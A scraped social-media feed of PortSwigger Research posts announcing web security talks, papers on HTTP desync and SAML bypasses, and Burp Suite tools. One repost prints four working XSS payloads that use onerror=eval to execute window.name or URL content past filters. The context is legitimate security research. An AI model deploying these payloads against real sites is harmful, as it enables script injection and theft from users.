iiinova — where your digital self keeps evolving

Reposted by PortSwigger Research

James Kettle @jameskettle.com · 23/01/2026

Love web & AI security research? Want to do it full time on-site with myself, Gareth Heyes & Zak Fedotkin? Join the PortSwigger Research team - we're hiring! apply.workable.com/portswigger/...

088

PortSwigger Research @portswiggerres.bsky.social · 10/11/2025

We've updated our XSS cheat sheet to include 9 new vectors from @garethheyes.co.uk! Here are the top three, you can find the rest here: portswigger.net/web-security...

317420

Reposted by PortSwigger Research

James Kettle @jameskettle.com · 08/10/2025

The recording of "HTTP/1.1 must die: the desync endgame" has now landed on YouTube. Enjoy! www.youtube.com/watch?v=zr5y...

youtube.com

RomHack 2025 - James “albinowax” Kettle - HTTP/1.1 Must Die! The Desync Endgame

YouTube video by Cyber Saiyan

1153

Reposted by PortSwigger Research

d4d @zakfedotkin.bsky.social · 07/10/2025

I’m excited to announce that I’ll be presenting The Fragile Lock: Novel Bypasses for SAML Authentication at Black Hat Europe! In this talk, I’ll show how I was able to continuously bypass security patches to achieve complete auth bypass for major libraries. #BHEU @blackhatevents.bsky.social

0266

Reposted by PortSwigger Research

James Kettle @jameskettle.com · 18/09/2025

HTTP/1.1 Must Die is coming to #romhack2025 as the keynote! In-person tickets are sold out but you can still watch the livestream. This is your last chance to catch it live - register to watch here: www.youtube.com/watch?v=T009...

youtube.com

RomHack Conference 2025 Live Stream

YouTube video by Cyber Saiyan

094

Reposted by PortSwigger Research

James Kettle @jameskettle.com · 20/08/2025

I just published a Repeater feature to make it easier to explore request smuggling. It repeats your request until the status code changes. It's called "Retry until success" and you can install it via the Extensibility helper bapp.

1145

Reposted by PortSwigger Research

James Kettle @jameskettle.com · 08/08/2025

Watch HTTP/1.1 Must Die live today at 1630 PST! - In person at #defcon33 track 1, main stage - Livestream via YouTube: www.youtube.com/watch?v=ssln...

272

Reposted by PortSwigger Research

James Kettle @jameskettle.com · 07/08/2025

The whitepaper is live! Learn how to win the HTTP desync endgame... and why HTTP/1.1 needs to die: http1mustdie.com

http1mustdie.com

HTTP/1.1 Must Die

Upstream HTTP/1.1 is inherently insecure, and routinely exposes millions of websites to hostile takeover. Join the mission to kill HTTP/1.1 now

04022

Reposted by PortSwigger Research

James Kettle @jameskettle.com · 18/07/2025

It's easy to bash vulnerabilities with logos but... I couldn't resist, say hello to http1mustdie.com :)

2133

Reposted by PortSwigger Research

James Kettle @jameskettle.com · 10/06/2025

I'm thrilled to announce "HTTP/1 Must Die! The Desync Endgame" is coming to #DEFCON33! This talk will feature multiple new classes of desync attack, mass exploitation spanning multiple CDNs, and over $200k in bug bounties. See you there!

04311

Reposted by PortSwigger Research

Tom Stacey @t0xodile.com · 22/05/2025

Thrilled to finally release my latest research "The Single-Packet Shovel: Digging for Desync-Powered Request Tunnelling". Desync vulnerabilities stemming from HP2 downgrading continue to plague even the largest vendors, have a read to find out how!

assured.se

The Single-Packet Shovel: Digging for Desync-Powered Request Tunnelling

In this paper I will reveal the discovery of wide-spread cases of request tunnelling in applications powered by popular servers including IIS, Azure Front Door and AWS' application load balancer inclu...

1154

Reposted by PortSwigger Research

James Kettle @jameskettle.com · 27/05/2025

The recording of my recent AMA with the Burp Suite Discord community has just landed on YouTube! 40 minutes of unscripted Q&A on security research, AI, and Burp Suite: youtu.be/mgmUZ9odkvU

youtu.be

AMA: James Kettle on Burp Suite, AI & Security Research

YouTube video by PortSwigger

0187

Reposted by PortSwigger Research

Gareth Heyes @garethheyes.co.uk · 27/05/2025

Firefox now opens the door to URL-based XSS payload smuggling too. Yep, even more ways to sneak past filters using the window name and clever URL tricks. Link to vectors👇 portswigger.net/web-security...

<script>throw onerror=eval,{
lineNumber:1,columnNumber:1,fileName:1,message:name
}</script>
<svg onload="throw top.onerror=eval,{
lineNumber:1,columnNumber:1,fileName:1,message:'/*'+URL
}">

<body onload="throw onerror=eval,{lineNumber:1,columnNumber:1,fileName:1,message:'/*'+location}">
<script>throw lineNumber=columnNumber=fileName=message=name,onerror=eval,{lineNumber,columnNumber,fileName,message}</script>

0103

Reposted by PortSwigger Research

James Kettle @jameskettle.com · 17/03/2025

I'm excited to announce I'll be delivering the keynote at RomHack this September! I can't share the title just yet but it's going to be a good one. See you in Rome! romhack.io

romhack.io

RomHack Conference, Training and Camp

RomHack is a format made by the non-profit association Cyber Saiyan and composed by a Conference a Training session and a Hacker Camp.

0192

Reposted by PortSwigger Research

d4d @zakfedotkin.bsky.social · 18/03/2025

I’m excited to introduce Namespace Confusion, a novel attack discovered during Gareth's and mySAML Roulette: The Hacker Always Wins research. We uncovered a brutal attack on XML signature validation that destroys authentication in Ruby-SAML!

0236

Reposted by PortSwigger Research

Gareth Heyes @garethheyes.co.uk · 18/03/2025

You might have noticed that the recent SAML writeups omit some crucial details. In "SAML roulette: the hacker always wins", we share everything you need to know for a complete unauthenticated exploit on ruby-saml, using GitLab as a case-study. portswigger.net/research/sam...

portswigger.net

SAML roulette: the hacker always wins

Introduction In this post, we’ll show precisely how to chain round-trip attacks and namespace confusion to achieve unauthenticated admin access on GitLab Enterprise by exploiting the ruby-saml library

05323

Reposted by PortSwigger Research

Gareth Heyes @garethheyes.co.uk · 20/02/2025

We've just released Shadow Repeater, for AI-enhanced manual testing. Simply use Burp Repeater as you normally would, and behind the scenes Shadow Repeater will learn from your attacks, try payload permutations, and report any discoveries via Organizer. portswigger.net/research/sha...

22112

Reposted by PortSwigger Research

Tom Stacey @t0xodile.com · 18/02/2025

@jameskettle.com casually dropping info on the craziest sounding AI-enabled burp extension. Can you imagine messing about with a suspicious LFI candidate in repeater and without you doing anything differently than you do today, burp suddenly spits back the right payload?

youtu.be

Top 10 Web Hacking Techniques of 2024 - James Kettle - ASW #318

YouTube video by Security Weekly - A CRA Resource

165

Reposted by PortSwigger Research

d4d @zakfedotkin.bsky.social · 06/02/2025

We've updated our URL validation bypass cheat sheet with this shiny Domain allow list bypass payload contributed by dyak0xdb!

1289

Reposted by PortSwigger Research

ads @rad-ads.bsky.social · 23/12/2024

I'm super proud to announce my weekend project and latest #burpsuite extension written in Kotlin! 👾 I love hacking, finding problems or challenges during and the ability to fix them whilst improving my code-foo. Introducing 🗒️ StickyBurp! 🗒️ -> github.com/GangGreenTem... @portswiggerres.bsky.social

093

Reposted by PortSwigger Research

James Kettle @jameskettle.com · 17/11/2024

We’re finally live! You can now watch “Listen to the whispers: web timing attacks that actually work” on YouTube: youtube.com/watch?v=zOPj...

youtube.com

YouTube

Share your videos with friends, family, and the world

0359

Reposted by PortSwigger Research

Gareth Heyes @garethheyes.co.uk · 22/11/2024

In case you missed it...the DEF CON video of my talk 'Splitting the Email Atom' is finally here! 🚀 Watch me demonstrate how to turn an email address into RCE on Joomla, bypass Zero Trust defences, and exploit parser discrepancies for misrouted emails. Don’t miss it: youtu.be/JERBqoTllaE?...

youtu.be

DEF CON 32 - Splitting the email atom exploiting parsers to bypass access controls - Gareth Heyes

YouTube video by DEFCONConference

29329

Reposted by PortSwigger Research

James Kettle @jameskettle.com · 26/11/2024

If you like bounties, I highly recommend this presentation from Martin Doyhenard on novel web cache deception techniques. It comes with Web Security Academy labs too! www.youtube.com/watch?v=70yy...

youtube.com

DEF CON 32 - Gotta Cache ‘em all bending the rules of web cache exploitation - Martin Doyhenard

YouTube video by DEFCONConference

36216